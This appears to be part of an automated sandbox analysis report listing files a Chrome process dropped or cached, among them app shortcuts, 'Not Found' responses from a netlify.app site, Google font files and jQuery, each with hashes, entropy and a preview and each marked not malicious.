File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Sep 28 23:27:29 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9723815442849197
Encrypted:	false
SSDEEP:	48:8TdlTt5NH/idAKZdA19ehwiZUklqehhy+3:8XLziy
MD5:	CBF3F70D0D2F2E9BF4E250BCB3DA6DAF
SHA1:	8BE9EECD2074DD84D898937EFD74E542D85C1DF0
SHA-256:	74F75156760071D8C1D5B957C34C37320B8E1D3F6E05E4FA9AFFEFDFDE14F219
SHA-512:	2EF395FAF923AB733EB49D4F8EB02062C847524BA610B95F7250FD800421ED23923A7AE5E46D2C13F5BAFAFBA4569E2FA01FE09E17D9B3FFC5FECD465A27A7AB
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......]....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I=Ym.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V=Ym.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V=Ym.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V=Ym............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V=Yo............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........A..o.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Sep 28 23:27:28 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.985437934975431
Encrypted:	false
SSDEEP:	48:8BdlTt5NH/idAKZdA1weh/iZUkAQkqehSy+2:85LB9Q/y
MD5:	D01E750AAC9811577BB90B883E865D5D
SHA1:	731FF7F3C97CD8E39063BE7D94E865F7BDFAE631
SHA-256:	E621898AB5EA5A95F86A665B0D241BAB5EC03260CEE59D73F064F9191A265165
SHA-512:	77027B4CF5E0701A900CC50542F9202774FA9283D9EFDBA199A73CFFD81533CF54A9F3D94D7ACC28A53952C35D4BFDE3F7B53A98CD2603E58064A2C494329649
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....b..]....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I=Ym.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V=Ym.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V=Ym.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V=Ym............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V=Yo............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........A..o.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.000552990688267
Encrypted:	false
SSDEEP:	48:8xydlTt5sH/idAKZdA14tseh7sFiZUkmgqeh7sgy+BX:8xUL+nmy
MD5:	05B778B37949AE13B1FFF3134E5717F3
SHA1:	11623C82FB8D7E40161C6A226C3F057A85362E7C
SHA-256:	567E1151040BD02D42F6B975D6B96978B88EB0A578E90EC49311DF382625D6E1
SHA-512:	A5155B3745029B6C715F97E370995A9A09227432464C8401299D8DC858F3D4CAD923E69663335B9DB95D2C8E928E88AF0A1A2BA079D771829D7679B6504804B2
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I=Ym.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V=Ym.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V=Ym.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V=Ym............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........A..o.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Sep 28 23:27:28 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9887722066854785
Encrypted:	false
SSDEEP:	48:85dlTt5NH/idAKZdA1vehDiZUkwqehuy+R:8xLioy
MD5:	B5044347AA6007A60152248880D6D2F5
SHA1:	C7D5DCC15F6569A3FC03466939037AA89023283B
SHA-256:	D671D91ACAFFA52FEA213E52DD6B61BA3F6875DB87BE5774687ED7648768A961
SHA-512:	FB54B5907F1822F694C8833BCE04D87927B0851BDB658A985486960432078AA3740AB24321C5C1D7828B090FCBFCE7CE767BCABEC0E6CEC21C985943B18E6A9A
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....}.]....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I=Ym.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V=Ym.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V=Ym.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V=Ym............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V=Yo............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........A..o.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Sep 28 23:27:29 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.976810410245735
Encrypted:	false
SSDEEP:	48:8v6dlTt5NH/idAKZdA1hehBiZUk1W1qehEy+C:80LS9ky
MD5:	FABCE1672698165E117394811A7CCFB3
SHA1:	13B7A87E6E67511C47DA8D9884D4B3BBBB18CD2E
SHA-256:	FB7984DF4E1A8684D618B59444E3BBCCA381A60F8A24998BCBDACFA579ECE248
SHA-512:	B6E12ABC78291DFD5D5E08AB3E340D42B7965A9060C61F295038F93B18E23B01C0928AC73DF76FF75D340AA1939B45916FCF636E9D1E74098BC686ED52D7104E
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......]....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I=Ym.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V=Ym.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V=Ym.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V=Ym............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V=Yo............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........A..o.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Sep 28 23:27:28 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9827555109786426
Encrypted:	false
SSDEEP:	48:8UdlTt5NH/idAKZdA1duT+ehOuTbbiZUk5OjqehOuTbmy+yT+:8qLMT/TbxWOvTbmy7T
MD5:	255E8AA3653F73BEAD2EC837571325B3
SHA1:	927AF3E6E7465ECBBB705B0D36BEECF7B2EFED74
SHA-256:	DBE4EEA297A7C329B21973193CEF772AB9F70C5A4AB38394E6000F7A2CC39DD0
SHA-512:	BB5CB5ED8E52F3D09D8693EDDFD322D70FF622C120B8DBE587E1C101A615641CAA2185941987BC70A215626CCF348AD25508819B68E4A1C345DD3E0DB78608EA
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....b.]....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I=Ym.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V=Ym.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V=Ym.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V=Ym............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V=Yo............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........A..o.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	50
Entropy (8bit):	4.781467880199449
Encrypted:	false
SSDEEP:	3:ObynQA2d9z5ddOAI7n:ObPH/9nOJ7
MD5:	012E626A797B9EBB71B8D37EFA754C66
SHA1:	F1F53BF17C74D6B3F24CB067BBE1C832AD263874
SHA-256:	11FD7685B45DD32A269660F0A8DE5674F28D52562CE34551469D7DB22B6337A1
SHA-512:	DDABF52CABEB569D88FE0A0074076BBE556408D5B3FBB0C5F610E4405BDBC165ECE2FCF43B8B5A70A424D30F49E657EC10930C3602D8BB7204EB633A615B69A0
Malicious:	false
Reputation:	low
URL:	https://bestfilltype.netlify.app/icon.png
Preview:	Not Found - Request ID: 01J8XJSYEYRHP2A0AA0X53AQ6R

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	50
Entropy (8bit):	4.846370130156179
Encrypted:	false
SSDEEP:	3:ObynQA2d9931Ql/3:ObPH/11Qlv
MD5:	F19B6EFECF79E0DD093D02955EC766B9
SHA1:	7A47AD03AC83C15682DE21EB6D5870BFF32EEBBA
SHA-256:	9AA596045BAAE2807A87B8C4E84322D60D4E860158CA42B3F18B3DC548C0403C
SHA-512:	C28842E6B8B0AEDD1099ADC7F5FFCBA44937938588CD219B63E0EA317DF8BE35CCAE4CBE51EA082D6BD72F5A21CC4E4CFE2C14BCC7A65F0EF539CEE949E5DC1E
Malicious:	false
Reputation:	low
URL:	https://bestfilltype.netlify.app/eye-close.png
Preview:	Not Found - Request ID: 01J8XJSW8HJPVY2GA0Z8VH49HY

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 7816, version 1.0
Category:	downloaded
Size (bytes):	7816
Entropy (8bit):	7.974758688549932
Encrypted:	false
SSDEEP:	192:Agw5ksLwlyK8F2BXU96Fc575OI3+ga534SlEFwTG4ovej9be:Al5y8FSUMS5VOq1KISlvS4ov+4
MD5:	25B0E113CA7CCE3770D542736DB26368
SHA1:	CB726212D5D525021752A1D8470A0FB593E0C49E
SHA-256:	9338E65FC077355C7A87AE0D64CC101E23B9BF8AD78AE65F0F319C857311B526
SHA-512:	A0D331E62AB4727F49CA286A1EE7FB81CDDC5BB9EDF71EF84F4BD4FA1552069AF1A82752011BA88FAE80862D034135926B7E99D70E59D626D66D4EDE90E94C30
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLCz7Z1xlFQ.woff2
Preview:	wOF2..............>P...4.............................`..T.......6..6.$..h. ..D.....03......~.(J........".!]X.......fD .s..I......(&.:..K..3=/.?0.?B........}.}.L....9.!1..6.u....(...m..\.6R.H....(..J.....YXus..2..susq.E^.v.....z..{........BN^...}[a.8&.By.9......O......3..zW.\|R.I.8 .Z.V. ..v...X_F....,[ye....wU.m..U.....}....'.^.jQK..@....n....)...;.. T..@]...hz.>.6.Y.tgeF.p...k?.g.jIb..."'.p.j.W}..X..........0'@.!<..$.<\TG...........^......W..<..LhX...r..Q.8........W.8[...W.z.W...,`...}...CY..z..m.B...z._..}..0$..F. ....<........!...X.....`.._UY{..k....[.+....h..G...x4.h...#...n=.!....G.G..<....~.nS...M.d.RT...g..$:/..j..y.@.FIg.".#..]'...4...n..y.Q.s'..I@P.w..xI.......#.J.n.n.i...'....@..H...H..1.;7...ddSF.d..]....Z......W.../S....^V..k..%.......CF....B4.kN....Mp.......+..i...M.>.`m...=..$c..$.h.t..\|..d+...6j..W...~a.M.'4..f.`...( .0Vq,.&f.?k.%i.\|tr..`k...F..{l.T.T=.......aK..F....nAu..."....Cpc..B.`..s...,S.......P._[K?..+...\|2...z....

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 7884, version 1.0
Category:	downloaded
Size (bytes):	7884
Entropy (8bit):	7.971946419873228
Encrypted:	false
SSDEEP:	192:xLFDbKO9E3rS3JWBRO/J601FSS5ZUbik3Zy2f0:pd9J5W501otlI
MD5:	9212F6F9860F9FC6C69B02FEDF6DB8C3
SHA1:	AC6D71B4D5FDD2B3DABC9A06FF6C001E4251DA0B
SHA-256:	7D93459D86585BFCDBB7E0376056226ADB25821EE54B96236FE2123E9560929F
SHA-512:	67317495F4B53E20A9F31C034E456E6C37F387DFFB2C092CAA5159BC441CFCADD02749FFE5BBED1D580D5300A59E48A767EF2C6D9978B474F84C1A2CD095C126
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/poppins/v21/pxiEyp8kv8JHgFVrJJfecg.woff2
Preview:	wOF2..............?....x.............................`..T..L.6..6..6.$..h. ..\....~2.".8. .w.Q.Y,.?$pC.....)bT(i..@X.m...+...D.Q.O.\-?g.U..Z..._...l..!.lKD.Q..>.9v..V..<...Td$.E..,...o..c.t....!...#..8.A..3..cx~n=Di#....U......K.5jXH.].....j.(.6..]{..IDhZ.......R.....[..X".B~.(Su2..../.I.E...T.l%....'.N.aN.2\,70.....V.RQ..k~..".1. Lg.zd....}.yyys&D.K.g....)....2&%$.nm.\.._.e.tU..I.w;W.\|..6..XUv...!......>@.V..'..`.H`...5.7.X.?..@#..:..<.R.\|.;K..}.6..IA.C.....z.n.G............[.....z........`.X....D..{<..j...).......FQ..T..m.&s_k[%ZILV.8.l.o.z$.)/]......}..Kg.}..O...o\|..>.,U..?..{b<........._.._.06.........R01.@..[......a8..7.V%..B.0F...4 ....q..u#.lg....x....a.=w...8..A6.>f.+.8..Xm@`.m....G.....i..^R}9.aB...?._#.[f.d,V....bG.]...iED.@[.:.....P...........~.{,.x...~.!...C....b.....ze..).:+N....2sd..s..MEp.?^[.k........p..nz...[-.XI.%.."..`..<.2b\.w.VS.a.+......~..J..uGq..)..1...4o3v.Sb......5.w7...-....Wd>..B....R^.4'..B.2G>.en.q..._.@s......

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 5552, version 1.0
Category:	downloaded
Size (bytes):	5552
Entropy (8bit):	7.955353879556499
Encrypted:	false
SSDEEP:	96:GWz5crMNRWIC8vTLyiVW3HwxoixvxFI2zg/M+2NZ9iA0H3yD8ubtRm/5x2s:GWlGM3W38vT/0Qx3+2zgE+CQnHCD8ubU
MD5:	AA42A9A3D4FC9951ED37945FF1AF85DC
SHA1:	6CD63D09CC1F526ABA20B654EF5B55F8104586C6
SHA-256:	A526DAC26FCC645D428764B07FD6AE2AD3399129B75C22C8E149278157291189
SHA-512:	BDD9DB6EF8B696FA29E774F73B80B8C2A0DBC39EEC455D88325E644D0FE8A044DF51EF9D4398AFFF221A8776B6B9F6D769E32FC60A2602AC8320F10955282779
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/poppins/v21/pxiEyp8kv8JHgFVrJJnecmNE.woff2
Preview:	wOF2..............2....].............................`.....(._..f..6.$..H. ..\..+.[3......E...EQ..1.?$h........+.m.X..q..N.VVNf+V...xXF..s1K..'.Pv_.wV.!.hh$1.y^....^...rVre.nAd...Vr)w.Z".....12a.Tj.... .(\0h..P.......p...x....?.E.of....ED........U...=..R.B...:c..5.k2....}.....L......:..._.#K...j....C..!w%8....gYD.]....h.Ul.....Z."M.nh:.~.....2.`..f...8P.@!{BU..3.o&.f.t.{...O6..-..~...".........{....u......Pq./..S.X.V.......1fz...ef`.#dq>.E...o.u[....{..emy./.....KD.........@0. \.S....j'.Y<T.'.0.Y..f...@.Lm.A..L...^...D.!...98..q....0............+vT....C8.o...Q....ne......L.a1...wM...r...zv....T?\#..R`o@....TDJ5...M.;/..x.t._..G.f....PY.i)I....{..........._._....)../5.M.(Y..uI..Inqov..wu..e.Nl...\R..\zL..5>.X$R..e.m....A......(d"c.QK........=...?pw..._1?..qk....++..-.)$a..X.e.l....N......jt.~5.W^.M+6..aT....a..IZ.n..i7..?..I7....^..ni<.;.?.....[`$.........{.l..........UD19.0.Vc..V......F.....%..V..l..b.5[i./.w(..G..`."./..._R.B....*5.....O

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	5515
Entropy (8bit):	5.355616801848795
Encrypted:	false
SSDEEP:	96:QO1a+Vc+ukO1abNQOEaDVc+ukOEaHNQOXauVc+ukOXaLNQOxMaRVc+ukOxMaqNQW:mEdFLQyU3T9a7gJdussnzk
MD5:	3B584B90739AC2DE5A21FF884FFE5428
SHA1:	DDAE0070CBC299E32AB0F61A3BDEFA3A4D4D07BE
SHA-256:	B54469A21994F21A482F3A8E006B7F887A973E9519C3D7D55D379FF2ACD33C87
SHA-512:	3A155086DAA5AD8D40A302BD1D5F744BC7D5A1B853ABFF1E41147328E13F50F168FC06245F178680290DD250BC44B8E369913A8889E8F451AA3A3BAD5191F11C
Malicious:	false
Reputation:	low
URL:	https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;500;600;700;800;900&display=swap
Preview:	/* latin-ext /.@font-face {. font-family: 'Poppins';. font-style: normal;. font-weight: 300;. font-display: swap;. src: url(https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLDz8Z1JlFc-K.woff2) format('woff2');. unicode-range: U+0100-02AF, U+0304, U+0308, U+0329, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;.}./ latin /.@font-face {. font-family: 'Poppins';. font-style: normal;. font-weight: 300;. font-display: swap;. src: url(https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLDz8Z1xlFQ.woff2) format('woff2');. unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;.}./ latin-ext */.@font-face {. font-family: 'Poppins';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/poppins/v21/pxiEyp8kv8JHgFVrJJnecmNE.woff2) format('w

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	downloaded
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
Reputation:	low
URL:	https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	dropped
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
Reputation:	low
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (502)
Category:	dropped
Size (bytes):	928
Entropy (8bit):	5.333713221578333
Encrypted:	false
SSDEEP:	24:2zH6UD5xZsJYGt024zSyxciFNckPUgtLYcHY5uwQU:VGkiFNjUgtzHmu5U
MD5:	8D974AFF636CAB207793BF6D610F3B04
SHA1:	85FD44D22ABD86E2F83B887F3BBEDA06D29F78B9
SHA-256:	053185739C0926BB0DBCE6C3834392E05C605F28D57495FE076EA595BB45C53A
SHA-512:	9919371379E760E1BEA4662321EE5D0DF07A2712D4BD9C6680C5BC563EB801138BBD4814C120E967C5271F2B8ED9643AA1DF855CD10B5FEB5A9B06DB1FCE2F39
Malicious:	false
Reputation:	low
